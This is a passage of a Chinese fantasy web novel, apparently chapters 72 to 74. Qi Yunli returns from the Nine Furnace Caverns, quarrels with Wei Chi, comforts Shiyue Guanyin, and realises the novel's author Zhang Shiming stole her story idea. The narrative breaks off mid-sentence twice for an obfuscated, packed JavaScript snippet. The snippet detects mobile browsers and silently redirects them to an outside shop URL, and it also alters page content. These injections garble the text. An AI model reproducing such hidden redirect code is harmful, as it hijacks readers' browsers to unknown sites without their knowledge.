两人久别重逢,齐云鲤没有任何惊喜表现,而是迷惑询问。 卫池不禁有点气,自己在鼎山禁地守了三年,结果等来这么一句话。 之前发现齐云鲤身份,他原本想叙叙旧,回顾过去再展望未来。毕竟她见过很多个轮回前的天地,也见过那时的自己。 结果这人一出现就问得有点震惊,仿佛亏了不少钱。 ——这就不是相识已久的友人。 这种问题仿佛他欠钱不还。 不过卫池也由此发现,或许张师铭会伪造一个假人来骗取情报。 明天就是化龙之人重见天日之时,提前出来几个时辰也没有太大问题。 若是自己轻易相信眼前景象,说不定会导致严重后果。 卫池想了一下,决定怎么气人怎么来。 齐云鲤听到这句话才想起他们以前还吵过,只不过跟那五个人接连不断吵三年,对这种事已经不会在意。 “真龙恢复会引起龙息乱象?”她只能把方向引到其他地方。 卫池说:“化龙之人恢复会引起龙息乱象。” 一个引开矛盾,一个故意挑明矛盾。 这就是明显找茬,说得像是在怪齐云鲤。 在九炼洞窟被修道人士怪,到鼎山禁地又被卫池怪,来来去去都是她的错。 吵不过那五个人,她就不信还吵不过卫池。 “这地方只有你在,你周身又全是乱象痕迹,难道还是旁人所为?”齐云鲤不甘示弱。 这句话的态度就不止欠钱不还,能点明那些细节,只能说明贸然出现的这个人能察觉很多东西。 原本那些都微不可察,伪装到这个程度可见力度之大。 卫池没有放松警惕,反而更加怀疑。 毕竟张师铭神出鬼没,谁也不知道他会干什么。 卫池平和回复:“我在此地已等候阁下多时,不妨有话直说。” “……你有病吧?”齐云鲤完全不知道他在说什么。 曾经她也说过这种话,眼下再次说出,既是印证也是警醒。 卫池没有放松警惕,而是说:“明日化龙之人就能恢复,有什么问题可以到时候再说。非要提前过来,不知有什么大事。” 这句话就明显不是跟齐云鲤说的,她瞬间一愣,想起面具人深不可测,做这种事也合情合理。 卫池突然变得这么奇怪,估计就是那个原因。 面具人是小说作者,坑了小说还来祸害天下苍生,什么事都做得出来。 “龙息乱象是他引起的?”齐云鲤有些疑惑。 制造骚乱然后把责任甩给其他人,作者又清清白白。 她想到自己三年才重见天日就有点气,而且一出来就发现龙息乱象的事,八成也是那个人想趁机获利。 那个作者真的是罪大恶极,什么便宜都要占。 原本真龙恢复时间已经确定,结果她又因此跟九炼洞窟那五个人吵三年,基本没完没了。旁边还有两个置身事外的人,更加令人生气。 气了一圈发现罪魁祸首就是作者,实在无话可说。 卫池发现这个人还在纠结最初的问题,不像张师铭的作风。毕竟他来的时候龙息乱象没有任何波动, “……是我引起的。”他说出答案,感觉点明真相也无妨。 “就说是你干的。”齐云鲤叹了一口气。 这也没什么高兴的,毕竟龙息乱象还在,拖到明天可能要出大事。 真龙恢复而卫池那边还有乱象,那么恢复也白费。 “你这边一乱,真龙那边也会乱起来,”齐云鲤无可奈何地说,“要想解决真龙的问题,首先得解决你的问题。” 卫池皱起眉头:“……怎么扯那么远?” “你的问题就是鼎山的问题,鼎山的问题就是真龙的问题。”齐云鲤回答。 在九炼洞窟吵三年,她也知道藏在背后的东西。 吵来吵去都是因为一件事——天人合一。 人与天地相应,天地出现乱象就是人有乱象。正如元气和龙息,二者截然不同又能相互影响。 人和天地也一样。 所以龙息乱象跟人脱不开干系,之前那五个人都觉得是齐云鲤引起的,现在发现卫池才是源头。 源头问题都没解决,后续问题自然会接连不断。 卫池一时沉默,能说出这种话的自然不可能是张师铭。 但这也意味着龙息乱象就是自己引起的,他以为是帮忙,结果是添乱,似乎还越帮越乱。 化龙之人三年才回来,或许就是因此而起。 齐云鲤不知道他在想什么,不过卫池周身乱象有愈演愈烈之势,搞不好又得跟人吵架。九炼洞窟那五个人吵起架来可以坚持几天几夜,真的就是噩梦。 她只好赶紧缓和氛围:“最开始只需要一年时间,面具人到来之后变成五年,好不容易赶在三年时间出来,也算惊喜。” “之前还要五年?”卫池很奇怪。 “不知道他干了什么,时间越拖越长,幸亏最后彻底挡住这种趋势。” “时间怎么会改变?”卫池继续问。 “真龙恢复需要龙息,龙息削减则时间延长,龙息稳定则时间不变。” 卫池低头一叹:“原本只要一年时间……” ——他明显就是后悔。 “之前得花五年时间,也不知道你们干了什么才缩短到三年。”齐云鲤看到他周身乱象就有点恐慌,好不容易脱离苦海,别又坠入万丈深渊。 所以无论如何卫池只有功,没有过。 “三年时间与我无关。” 卫池没有接受这个说法,轮回近百次自己就没起到任何效果。 永远都是徒劳,始终都在彷徨。 水再多也没用,只有竹篮打水一场空。 吵架经验丰富的齐云鲤发现不对,就赶紧转移话题:“九炼洞窟里都在夸你,原本穷途末路,是你重新打开一条通道。” 九炼洞窟是人人畏惧之处,但在她的话里仿佛只是个普通民宅。 可那是连邪魔歪道都不敢靠近的地方。 卫池不由怀疑起来:“九炼洞窟里有什么人?” “菩提慧海和五个修道人士,”齐云鲤停顿片刻才说,“还有青湖本人。” “……她居然也在?” 附身者和躯体本人是完全不能和睦相处的。 毕竟交换魂魄就意味着身家性命都落在别人手里,齐云鲤进入青湖躯体,也就是说鼎山尽在手里。 这是极其严重的事,即使知情者都没有撕破脸皮。 齐云鲤完全没想那些,只是说:“她一直不肯进去,被面具人重伤以后,魂魄才来到九炼洞窟。” “她在里面干什么?”卫池从没想过还有这种事。 齐云鲤勉强说:“打扫卫生之类的……” 一个修道人士在九炼洞窟打扫卫生,说出来谁都不会信。 不过卫池没有计较真假,而是问:“菩提慧海在干什么?” “在看热闹。”齐云鲤很久才说。 卫池很奇怪:“什么热闹?” “我在跟人吵架……”齐云鲤无奈开口。 说出这句话,卫池就感觉她有点精疲力尽。 他都不敢相信:“吵了三年?” “差不多吧,三天一小吵,五天一大吵。”齐云鲤无可奈何地摇头。 吵架这种事卫池完全不擅长,他只能提醒:“鼎山这边,张师铭要你死。” 齐云鲤感觉这名字有点耳熟,但具体情况又不清楚。 她只好问:“张师铭是谁?” “就是面具人。”卫池声音一沉。 面具人就是作者,作者叫张师铭。她说怎么会耳熟,八成是以前有人打听到这件事,然后公之与众。 齐云鲤感觉这是重要情报,虽然网上有人发帖,但并不是大家都知道。而且涉及真实信息的帖子,很快就会被删除。 如果告诉石月观音这件事,或许是个重振士气的办法。 之前那人感觉没有希望,如今就要让她重新看到希望。 “我很累,先睡一下,”她走回阵法中心,“你跟菩提慧海交代一下这边的情况。” 她从乾坤袋里掏出双筷子往地上一丢,随后不远处的角落里走过来一个青年。 “他是鼎山人炉,有话跟你说。”齐云鲤指着卫池。 菩提慧海听到这话就两眼放光,不过卫池脸上只有嫌弃。 “我先睡了,千万不要叫醒我。”齐云鲤在地上打坐,两眼一闭就睡过去。 菩提慧海对她随时睡觉早就习以为常,只是有点期待地看向卫池。 卫池花三年等来一个可疑人士,好不容易确认身份,结果又睡了。 他难免心情复杂,虽然菩提慧海什么也没做,但就是看着不顺眼。 另一边的齐云鲤来到破庙,见室内立着一座雕像,没有任何活人气息。她就开始打扫卫生,在九炼洞窟呆了三年,对这种事也相当熟练。 只要能打扫,就可以减少很多麻烦。 在她将破庙打扫得干干净净时,耳边就传来哭声。 石月观音坐在莲花座上哭得稀里哗啦,齐云鲤也没阻止,只是过去掸了掸附近灰尘。 “我还以为你已经死了……”石月观音小声说。 “当时凶险万分,幸亏你及时出手。”虽然齐云鲤不清楚具体情况,但这时夸就对了,也算从吵架里学到点东西。 石月观音哭声渐停:“……你不怪我?” “谢你都来不及,怎么还会怪?” “可你之前一直没出现……”石月观音又要哭了。 齐云鲤赶紧说:“我伤势比较严重,现在才恢复,这就赶紧过来看你。” “……化龙有这么难吗?”石月观音当时在远处看到真龙飞天。 “世间修道人士研究数百年也没能成功,那不是一般的难。” “……你怎么会成功?” “因为有你帮忙啊。” 这话明显是假的,不过齐云鲤的态度前所未有。 呆在暗无天日的破庙,石月观音再也没遇到过这种态度。 ——于是她又哭起来。 齐云鲤知道需要发泄,也就没劝阻。 石月观音哭很久也没停,齐云鲤也不说话,只是望着窗外白玉兰。 虽然知道有元真这个人,但究竟发生什么事还是没想起来。 她很久之前被青湖所杀,看起来元真也是那时的穿书者。 但前后有什么事完全想不起来。 幽冥大帝会大力保自己,那么关系必定很好。 这跟元真有什么关系? 齐云鲤感觉自己错失什么关键,只是现在也不好纠结。 最后她只能问:“元真的事你能说吗?” 石月观音瞬间停止哭泣,她先打量白玉兰再看齐云鲤,然后果断摇头。 “你怎么还没想起来?! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17264519|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 她怒气冲冲吼这么一嗓子,齐云鲤就知道石月观音基本哭完,正好自己有要事得说。 “不能说那我就慢慢想吧,”她拿出少许龙息交给石月观音,然后说,“告诉你一件事,小说作者叫张师铭。” 小说作者的姓名在齐云鲤看来相当重要,不过石月观音完全没放在眼里。 “这个名字难道还能解释他的所作所为?”而且她似乎根本没听说过。 作者名字只要有人发帖,应该传播甚广。 齐云鲤很疑惑:“难道不关键?” “这有什么关键的?”石月观音不屑一顾。 齐云鲤指出:“以前有人在网上发出这个帖子,应该有什么用吧?” “没人发过那种帖子。”石月观音摇头。 “估计是先发出来,然后被删除。” “相关帖子我都知道,没有这个。”石月观音继续摇头。 齐云鲤十分奇怪:“你怎么知道?” “之前把信息汇总过,各种稀奇古怪的帖子都见过,就是没有你说的。” 她的话也符合小说读者聚在一起讨论各种信息的情况。 虽然个人之力有限,但读者千千万,总能将相关信息摸透。 齐云鲤只能说:“也许是有所遗漏?” “如果真有那个帖子,早就有人找上门去了,还要等到今天?”石月观音有点不满。 小说断更以后有不少人分工合作,誓要将作者去向找出来。 网文读者里有不少脾气暴躁的,如果真有这种消息,估计早就打上门去。 风平浪静至今,是因为不知道这个消息。 既然网上没出现过,怎么自己会耳熟? 齐云鲤搞不清事情缘由,只能先安抚石月观音,然后说鼎山那边还有很多事要处理,她就先回去。 石月观音见她还活着,又有龙息到手,也就不再哭哭啼啼。 齐云鲤带着疑惑回到禁地,然后就看到菩提慧海施法演示一条龙从鼎山禁地飞上云霄,眼里充满希望。 这是菩提慧海的梦,他已经在九炼洞窟说过千百遍,结果到禁地还在说。 她没兴趣反驳,只是想起张师铭这个名字,感觉不止耳熟。 他是面具人也是作者,但是将相关信息汇总过的石月观音并不知道这个名字。 ——那自己怎么会知道? 齐云鲤十分困惑,她并没有特别关注小说断更后的网络信息,顶多就是看个热闹。那种最多只存在几分钟的帖子她不可能知道。 ——她怎么会听说过这个名字? “你怎么了?”菩提慧海问。 齐云鲤有点迷惑:“你听说过张师铭吗?” “没听说过,”菩提慧海摇摇头,接着又说,“不过你提前出来得瞒过其他人,不然有可能引发动荡。” “难道我还要进九炼洞窟?” “不用,只要假装就行,你先化形成菜花蛇,明天再变回人形。” 齐云鲤对此很迷惑,转头看向卫池,结果那个之前还有点不满的人也点头同意。她不得不感慨菩提慧海带小孩经验丰富。 于是菩提慧海施法布阵,将齐云鲤变成一条蛇。 然后再三叮嘱卫池要注意自身状态,他会影响鼎山,鼎山会影响九炼洞窟,九炼洞窟会影响真龙,自然也会影响齐云鲤。 卫池总算知道龙息乱象的隐患,随后问以后还能不能请他过来讲课。 菩提慧海说可以是可以,不过别太频繁,否则九炼洞窟里又要打起来。 这次出来时间有点长,他得赶紧回去劝和。 说完他就直接跑向不远处的角落,随后消失不见。 闲杂人等彻底消失,卫池这才明白龙息乱象有多严重。 之前他以为只影响自己,谁知最终还会影响到齐云鲤。如果她因龙息乱象丧命,那就是连累救命恩人。 幸亏一切还来得及。 卫池坐在蛇旁边研究龙息乱象,远远看去就像是化龙之人还没恢复。 太阳慢慢落下,四周由昏暗不清变成漆黑一片,但是明天太阳还会升起。 ——正如起起伏伏才是人生常态。 次日天刚亮就有鼎山弟子来到禁地,那几人有点紧张,抓紧时间赶紧布阵设防,谁知道又要出什么事。 接着又有人过来布置符咒、铺设阵法,生怕出事。 前后来了几十个人做准备工作,全都忧心忡忡。 卫池知道化龙之人已经回来,所以没有其他动作,只是站在雪地里。 张师铭居心不良,也不是普通阵法就能挡住的。 不过那个人有千种手段,他这边还有万种策略。 在众人提心吊胆中,一切都有条不紊进行。 能来的鼎山中人全都来到禁地,仿佛是逢年过节。 最后在太阳升高时,张师铭走到禁地。 他的步伐平缓有力,似乎无为而无不为。 张师铭按照既定流程帮阵法里的蛇化形,众人担心地望着那条蛇周身腾起烟雾,然后烟雾中出现人形。 烟雾散去后,那个人形就是鼎山青湖,其他人这才松口气。 齐云鲤睁开双眼,听到前面传来一个声音。 “化龙前所未有,化龙之人恢复人形也不是小事。如今阁下回到鼎山,这才算大功告成。” 声音相当熟悉,齐云鲤看过去,就发现面前站着一个长相儒雅的男子。 长相不是问题,问题是这个人她认识! 鼎山弟子都以为青湖师叔看张师铭看呆,其实是齐云鲤被吓蒙。 73. 故人 齐云鲤曾经觉得《长夜道枯》的世界观设定有点眼熟,所以才看下去。 但是看的时候,那种熟悉设定经常被打乱,甚至乱得毫无意义。 感觉作者不喜欢又不得不要,毕竟玄幻修真的故事层出不穷,如果没有独树一帜的东西,难以吸引眼球。 那种设定齐云鲤很眼熟,按理来说剧情应该发展到这个方向,但是却强行扭转到另一个方向。 小说主角深受其害,原本平平无奇、默默无闻,可以稍微平静一段时间。 但止水宗不知道发现什么,对其穷追猛打、不死不休。 在鼎山修道的时候还算平静,可下山之后各路牛鬼蛇神全都冒出来,势必要斩草除根。 仿佛邪魔歪道发现这个有巨大威胁的漏洞,都想出手解决。 因此其他人眼中惊险刺激的情节,在齐云鲤看来都像是杀毒软件要清楚病毒。 她觉得那种设定没问题,但小说作者觉得问题很大。 既看不顺眼,又依赖问题,因此想各种方法来折磨有问题的主角。 齐云鲤觉得眼熟,是因为她想过类似的事,但是大学毕业后就发生车祸,完全没精力落实。《长夜道枯》就在那个时候出现,所以她才会看。 以前只是觉得奇怪,怎么会有其他人跟她的想法这么接近。 看到张师铭她才想起来,他们两个是大学校友,她跟他说过这件事。 当时正是毕业时分,张师铭相当消极低落,觉得自己昔日光芒万丈,眼下却束手无策。 出于好意,齐云鲤就跟他分享自己的创作构思,虽然还有很多部分只有模糊片段,但整体框架已基本成形。 不过她没有经验,想得再多也没用;张师铭经验丰富,稍微有所动作就能做出成品。 这是齐云鲤当时的话,怎么也想不到《长夜道枯》就是自己的构思,而作者三人行就是张师铭。 有种自己挖坑自己跳,还请人来盖土的感觉。 小说断更,作者穿书过来祸害苍生,都是因为自己。 发现这件事的齐云鲤都有点头疼,不是外伤刺痛,而是闷痛胀痛,仿佛是在提醒她千万要小心。 曾经她以为自己是小说作者,现在看来果然是作者,只不过是被盗用构思的原作者。 回想自己穿书以后都发生什么,齐云鲤更是无话可说。 各种稀奇古怪的事就算了,她都被张师铭追着打一路,今天才水落石出。 幸亏现在用的是青湖躯体,张师铭认不出她来,不然早就打得不可开交。 他估计觉得自己的话是嘲笑。 “能重返人间全是阁下功劳,青湖在此谢过。”齐云鲤说得装模作样。 周围跟她有所接触的人一听就发现不对,鼎山青湖根本不会说这种话。 不过若是刻意这么说,那就能够理解。 毕竟张师铭看似白面书生,其实心狠手辣。 “在下能活到今天,全靠鼎山掌门出手相救,做得再多也不过回报他恩情的十分之一。”张师铭说得文绉绉,更显得气质儒雅。 齐云鲤也不甘示弱:“阁下恩情我都难以回报万一。” 周围其他人都不知道他们在干什么。 卫池皱起眉头,青滔则把右手放在剑上。 化龙之人好不容易重现人间,莫非又要打起来? “不敢当、不敢当,这就太过看重。”张师铭很是谦虚。 齐云鲤就更加自轻自贱:“阁下对我恩重如山,再重也不为过。” “区区小事不足挂齿。”张师铭依旧如前。 不过齐云鲤说:“化龙关系到天下苍生,怎么能算小事?” 面对这个问题,张师铭只是妥善回答:“但是让化龙之人恢复人形只关系到我一人。” “难道与鼎山中人无关?”齐云鲤皱起眉头,似乎相当奇怪。 张师铭简明扼要地说:“大家各司其职,这件事只有我出手。” “不是只有你出手,是只能由你出手。”齐云鲤有点讽刺。 她话锋一转,孙峥湖就知道不对劲,两个修道人士在冰天雪地慢条斯理谈话,越说越不对。天寒地冻之处,就别在这里文绉绉说来说去。 有矛盾就出去再解决,不然什么也说不清,大家都被冻。 而且大家都想过去问候,结果那两人直接聊起来,成何体统? 孙峥湖无可奈何建议:“这里不是说话的地方,还是先出去吧。” “是我有失分寸,实在不好意思。”张师铭还是之前的作风。 可齐云鲤转头对众人说:“我能平安回来,全靠诸位出手相助。虽然还有不少问题,不过交给我就行。” ——她的前后态度有鲜明差异, 这明显就跟张师铭说的不是一回事,他顿时一愣。 在场鼎山中人都知道她在说什么,毕竟有件事他们无法解决。 “现在就交给你?”青滔眉头紧锁,握剑的手松了一点。 齐云鲤点头强调:“放心就行。” 他们两人对话总共才十个字,不过所有鼎山中人都听出背后的意思。 张师铭为非作歹、胡作非为,总算有人出来收拾他。 之前殚精竭虑才勉强挡住他的势头,如今终于能大打出手。 “一些相关事情还需要详谈。”张师铭客气又礼貌地插话。 “等我去了飞泉院再说,有事先跟卫池谈,”齐云鲤满不在乎,然后又重点强调,“此地天寒地冻,想必他受了不少苦,还望阁下好好照料。” 卫池站在那里原本没人关注,但这句话一出,众人就纷纷看过去。 鼎山禁地冰天雪地,他竟然能呆三年,不亏是人炉。 众人深感欣慰,想起之前也是他提醒元气布阵的事,不免刮目相看。 马上就有鼎山弟子过去拿出热茶。 张师铭对这种变化不置可否,只是问:“阁下刚恢复人形,就无所不知?” “这种事都不知道,那我就无法化龙。”齐云鲤说得理所当然。 “化龙与此无关吧?” “阁下就是这么想,所以才不能化龙。” 化龙之心修道人士常有,但成功者仅此一人。 这话讽刺得所有人都能听出背后含义。 虽然张师铭居心不良,但也不用这么快挑明。 孙峥湖赶紧冲过去说:“飞泉院已恭候多时,青湖师叔快点过去吧。” 然后为了缓和氛围,他马上叫鼎山弟子过去给卫池初步检查。 于是他从喝茶吃东西变成有人摸脉问诊。 “那么之后该在什么地方见面?”张师铭没有计较之前的话。 齐云鲤说:“玄镜池吧,我住那边。” 张师铭一时无话可说,因为现在他就住在那里。 不过他也不好拒绝,只能赶紧过去清理东西。 众人离开禁地,朝不同方向各自走去。 孙峥湖冲回玄镜池,告诉罗白音和冬青,之前青湖师叔和张师铭都快打起来。 她们对此并不意外,能动手的人总算出现,绝不能错失良机。 齐云鲤还在路上跟鼎山弟子闲聊,聊着聊着就发现他们成长迅速。之前还困惑鼎山龙息如何稳定下来,现在才发现鼎山弟子功不可没。 虽然还是无法彻底对抗张师铭,但已经能挡住攻击。 有时候挡住攻击就能拖住对手,对手消耗不起就无法赢。 走得再慢也来到飞泉院外,于是齐云鲤告别众人。 飞泉院里玉兰花洁白如雪,却不像禁地冰雪严寒刺骨,而是透着安宁。 齐云鲤不知道这跟元真和幽冥大帝有什么关系,不过确定立场一致就放下心来,一堆乱七八糟的事总算能在此暂缓片刻。 缓过来一口气,她就朝里走去。 飞泉院的屋子里等着罗白音和冬青两个人,齐云鲤走进去就说:“张师铭绝对没安好心。” 三年没见,她第一句话就是抱怨。 罗白音扬声道:“这还要你说?” “……你们都知道?”齐云鲤被这光明正大的态度震惊。 冬青问得理所当然:“难道还有人不知道?” 眼下只能说张师铭太过可疑,让人不得不怀疑。 不过他身份成谜就不怀好意,如果挑明身份可能会引起恐慌。 齐云鲤也不好说太多,只能适可而止。 她一时有点累,就坐下来说:“我能成功化龙,全是因为仙子林里的打斗波及冥帝庙。之前幽冥大帝帮过我很多次,情急之下我就化龙出去打架。” “情急之下很多人都会添乱。”罗白音说。 这种熟悉的态度让齐云鲤倍感亲切,果然不是善茬。 冬青端杯茶递过来,才说:“千溪镇龙息基本无法使用,你怎么还能用?” “全靠幽冥大帝,她差不多耗尽所有功法。”齐云鲤只是说出这一点。 冬青依然很疑惑:“可那也不是龙息啊?” 关键在人不在漏洞,也就是说关键在元气不在龙息。 曾经跟元真的吵架现在就能用上。 “但是千溪镇有元气。” 元气不在真龙周身,世间真龙销声匿迹,使用元气化龙似乎也合情合理。 毕竟龙息和元气就类似一阴一阳。 人与天地相应,元气和龙息也能相应。龙息帮助真龙,元气就能帮助凡人。 真龙需要龙息,人需要元气。 化龙其实只是转变形态,并非改变本质。 归根结底,人和龙是一致的。 齐云鲤想了很多,不过冬青并不明白。 “元气又不是龙息……”她疑惑地说。 “鼎山弟子可以用元气布阵击败蛟,我就能用元气化龙打败面具人。” 罗白音提醒:“他叫张师铭。” “……这你都知道?”齐云鲤很惊讶。 “真龙飞回鼎山,他马上就带着一群修道人士出现,假装出于好意留下。” “怎么假装?”齐云鲤很好奇。 “说是鼎山掌门对他有救命之恩,为了报恩他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273670|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就要帮助你恢复。” “掌门还认识他?”齐云鲤更加疑惑。 罗白音不屑一顾:“认识也不会是好事。” “那你还留他到今天?” “有些事只有他才能办。” 话说到这里,也就是说鼎山早已做好准备。 既然有人心怀叵测,那不如放到跟前监视,以免波及其他地方。 齐云鲤只是疑惑:“……那我呢?” “现在你要准备打架,之前都无法动他。”罗白音说。 “我化龙回来只有打架一件事要做?” “鼎山弟子正在准备化龙。”冬青强调。 “……我有事还没说呢?”齐云鲤感觉鼎山已经把所有准备都做完。 罗白音问:“什么事?” “鼎山禁地可以通九炼洞窟,”齐云鲤见那两人脸色一变,马上补充,“九炼洞窟原本叫三清龙庭,最后一条真龙就在里面,青湖也在里面。” 九炼洞窟凶险到连邪魔歪道都不敢进去,不过罗白音没有惊讶。 她只是问:“在里面干什么?” 齐云鲤伸手一扬:“帮真龙恢复,让真龙飞天。” “她不是会干那种事的人。”罗白音判断,虽然只是对青湖略有了解,不过那人就不是这个样子。 齐云鲤强调:“干这件事的是其他人,不是她。” “怎么还有其他人?”冬青很奇怪。 齐云鲤说明:“几个最开始发现真龙的修道人士,九炼洞窟的名字是他们改的,鼎山也是因此而来。” 鼎山的起源罗白音和冬青略知一二,没想到还跟九炼洞窟有关。 不过那里原来叫三清龙庭也就能理解。 毕竟谁都知道三清龙庭跟真龙有关。 至于那里还有青湖,就实在是没想到。 她正事不干,一天到晚不知道在干什么。 “菩提慧海呢?”罗白音问。 之前据说他们两个一起干活,那么都该出现在九炼洞窟。 齐云鲤说:“他当然也在。” 稀奇古怪的人出现在稀奇古怪的地方也合情合理。 “青湖师叔有什么交代吗?”罗白音不报希望。 齐云鲤赶紧强调:“她说一个人最多化龙两次,之后就灰飞烟灭。” “那你要赶在灰飞烟灭之前再化龙一次。”罗白音毫不留情。 齐云鲤有点不服:“不是还有鼎山弟子吗?” “化龙次数只怕少,不怕多。”冬青说。 齐云鲤问:“那我死了怎么办?” “难道还有人不会死?”冬青也问。 这话太过理所当然,齐云鲤也无话可说,只能说生生死死都是人生常态。 最后她无力地说:“龙骨论战的时候会出大事。” “有多大?”罗白音似乎还略有期待。 齐云鲤只能问:“你完全不怕?” “都在做打架的准备,到时候打起来才好。”罗白音说得顺理成章。 齐云鲤无可奈何:“大概就这样,具体的你们问了我再说。” 她垂头丧气坐在那里,仿佛没有希望。 “你不会以为我是瘫痪吧?”罗白音突然笑起来。 齐云鲤相当迷惑:“……难道不是?” 罗白音从轮椅上站起来,走了一圈才坐下,全程步伐稳健,没有任何异常。 齐云鲤看得目瞪口呆,她还以为罗白音只能坐在那里。 这么一想,顿时就觉得鼎山中人深藏不露。 她问:“其他人是不是都能打?” “鼎山中人就没有不能打的。”罗白音答。 齐云鲤说出接下来的事:“我等会儿要去见张师铭。” “他想套取有用情报,你也得加大力度。”罗白音只是说。 齐云鲤抱怨:“那人太过阴险狡诈。” “你徒弟也不是吃素的。”罗白音强调。 此时阴险狡诈的人跟不是吃素的人呆在鼎山医馆,周围有鼎山弟子忙来忙去,但他们都很清闲。 虽然张师铭要去玄镜池收拾行李,不过还有更要紧的事。 例如跟鼎山人炉交代一些事。 “青湖回来,你觉得有什么异常吗?”张师铭问得十分诚恳。 卫池说:“周身状态并没有彻底恢复,估计还要几天。” “我是说神智。”张师铭话音一重。 卫池知道他不会说好话:“有什么问题?” “化龙相当难,之后变回人形就更难,”张师铭略微停顿才说,“但难于登天的事岂止这一件,其他人如果无法回到起点,或许会顺着这条路折返。” “顺势而为?” “青湖变回人形就是他们需要的势。” 张师铭说得很沉重,以前确实发生过类似的事。 一些邪魔歪道化形成极其罕见的东西后,无法变回人形,则会借助他人变回人形的力,让自己重现人间。 之前变回人形的青湖说话有点奇怪,说不定就是如此。 74. 敌人 化形对修道人士来说是件很简单的事,所有人都能化形成最基础的桌椅。桌椅随处可见,所以化形最为简单,但之后怎么变回人,就有点复杂。 从桌椅变回人很简单,不过前提是在此期间没遇到其他修道人士。 如果有人发现真相故意阻挠,也许你就会成为货真价实的桌椅。 化形并不难,关键是途中安全。一旦发生意外,也许就前功尽弃。 化形成功却无法恢复人形的大有人在,桌椅板凳、猫狗鸡鸭应有尽有。 危险的不是化形,而是化形后的遭遇。 由于这件事广为流传,所以专门有人盯着别人化形。 一旦定形永无翻身之日。 不少邪魔歪道以此来威胁化形的修道人士。 由于无法恢复人形的修道人士接连不断,因此有人研究出一个方法。 虽然形态各异,但变回人的途径基本一致。如果能抢走别人的路,那么无法变回人的就不是你。 这是抢夺他人生路,基本只有邪魔歪道使用。 但在天地间邪魔歪道多得是,经常有人一无所知就被盯上。 而且这种事不要求修为功法,一个资质平平的人就能抢夺修为高深之人的路。 所以化形的威胁有两种,一是被定形,二是被夺舍。 鼎山充满龙息,也是在防止这种事。 不过化龙之人今天之前并没有出现在鼎山。 也就是说青湖可能遭遇那种事,就算没被彻底夺舍,也可能同时有几个魂魄。 张师铭言辞恳切,仿佛真的有大事发生。 卫池见四周鼎山弟子都在忙碌,也就没让他们知道这边的事。既然张师铭编造耸人听闻的事,那么自己就更上一层楼。 “唉,这件事有点复杂。”他一声长叹。 此时天光正好,但卫池的神态仿佛罩上一层阴霾。 既然化龙前所未有,那么化龙之后的事谁也没听过。 虽然化龙之人回到鼎山,但背后还有什么就很难说。 张师铭以为他上钩,顿时精神百倍。 “阁下是鼎山以外的人,所以不知道那件事,”卫池开始做胡说八道的准备,“鼎山充满龙息其实就是在防范这种事。” “这个我能猜到。” “不过防来防去都是徒劳,化龙又不是化形。”卫池皱起眉头。 张师铭感觉有点不对,就赶紧说:“所以更加凶险。” “因此我遵照指示守在禁地,防止意外发生。”卫池略微一叹。 张师铭有点奇怪:“谁的指示?” “太渊真人。”卫池说出鼎山掌门的称号。 张师铭知道那个人一直在闭关,根本不可能有指示。 “他没出关吧?”他十分疑惑。 “掌门指示由罗白音师姐代为传达。” 说到这个人,张师铭就不爽起来,毕竟她空口说白话也能让人落荒而逃。 ——自己在她面前就没赢过。 不过他不能有明确敌意,只是问:“她具体怎么说?” 看她怎么说,他就能接着说下去,之前没赢现在一定能赢。 “她说想对化龙之人夺舍的大有人在,让我见一个打一个。”卫池说得非常具体,似乎经验丰富。 张师铭回忆半天也没任何印象,最后只能问:“打谁?” “打你。”卫池语气一沉。 敌意都明显得不行,之前就被小说男主气,现在发现还不如被气。 这显然就是在怀疑他,张师铭知道得赶紧化解矛盾。 “我只是抱有怀疑,绝不会对青湖动手。” 头顶阴霾这时移到他头上,即便外面阳光灿烂,他也没有任何暖意。 “鼎山的准备远超你的想象,别胡乱猜测。”卫池告诫。 张师铭叹息道:“是我疑神疑鬼,你们准备充分就行。” 说了半天也是白费,那就没必要困在这里。 他本想起身离开,结果旁边传来一个女声。 “天天胡思乱想,你迟早要想出病来。” 张师铭转头一看发现是李宜敏,顿时就不想开口。 “你疑心病太重,还是吃点药吧,不治将恐深。”李宜敏说。 张师铭觉得这是在咒自己,如果闭口不谈可能真的让自己乱用药。 “……吃什么药?”他警惕地问。 李宜敏抓起张师铭手腕:“得先摸脉问诊,看看你是什么情况。” “没有特效药?”他马上把手抽回去。 “药效再好,不适合你吃也是白费。” 这话一出,似乎又开始玄镜池的争执。 那时李宜敏气得张师铭话都说不出,这次他绝不手软。 “药效好就行,怎么还得看适合不适合?”张师铭皱起眉头。 李宜敏翻个白眼:“是给你治病,不是用你来消耗药材。” “吃药不就是消耗药材?”张师铭很疑惑。 李宜敏强调:“是人吃药,不是药吃人。” “药又没修炼成精,怎么还会吃人?” 这句话的含义有点复杂,如果药都能修炼成精,只可能是用药之人图谋不轨。 用药之人自然只有治病救人的大夫。 好心救人被怀疑成害人,李宜敏实在无话可说。 “……我医术尚浅,另请高明吧。”她转身就走。 这次是李宜敏被气得无话可说,张师铭顿时觉得自己赢了。 不过他也不再逗留,马上告辞离开。 卫池原本在警告,结果张师铭突然跟李宜敏吵一架,两个人都走了。 看起来他们还挺熟,貌似以前就吵过。 本来警告到最后都有点难以收场,但他们吵一架就迅速化解困局。 之前在禁地齐云鲤跟他都快打起来,也不知道发生什么事。 